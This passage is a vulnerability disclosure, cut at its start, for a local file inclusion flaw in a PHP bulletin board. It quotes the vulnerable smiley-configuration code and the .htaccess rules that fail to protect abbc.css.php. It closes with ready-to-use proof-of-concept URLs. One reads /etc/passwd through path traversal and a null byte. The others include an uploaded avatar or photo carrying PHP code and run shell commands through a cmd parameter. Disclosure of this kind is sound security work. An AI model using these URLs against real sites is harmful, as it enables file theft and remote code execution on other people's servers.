   PHP-based internet bulletin board system"

   vulnerable code in unb_lib/abbc.conf.php at lines 635-641:

   ...
   // Smiley Definitions
  if ($ABBC['Config']['smileset'])
  {
	$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/';
	$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/';
	@include($ABBC['Config']['smilepath'] . 'config.php');
  }
  ...

  $ABBC['Config']['smileset'] var is not initialized before to be used to include
  files. You cannot have access to this code directly but in unb_lib/abbc.css.php
  at line 16 we have:

  ...
  require('abbc.conf.php');
  ...

  this script is not protected by the unb_lib folder .htaccess file:

  # Don't allow direct PHP requests in this directory
  <Files *.inc.php>
	Order allow,deny
	Deny from all
  </Files>
  <Files *.lib.php>
	Order allow,deny
	Deny from all
  </Files>

  so, if register_globals = On & magic_quotes_gpc = Off, you can include files
  from local resources, poc:

  http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../../../../../../../../etc/passwd%00
  http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/avatar_[user_id].jpeg%00&cmd=ls%20-la
  http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/photo_[user_id].jpeg%00&cmd=ls%20-la

  this script try to include an avatar or photo with malicious php code
  inside, you need a valid account to upload files
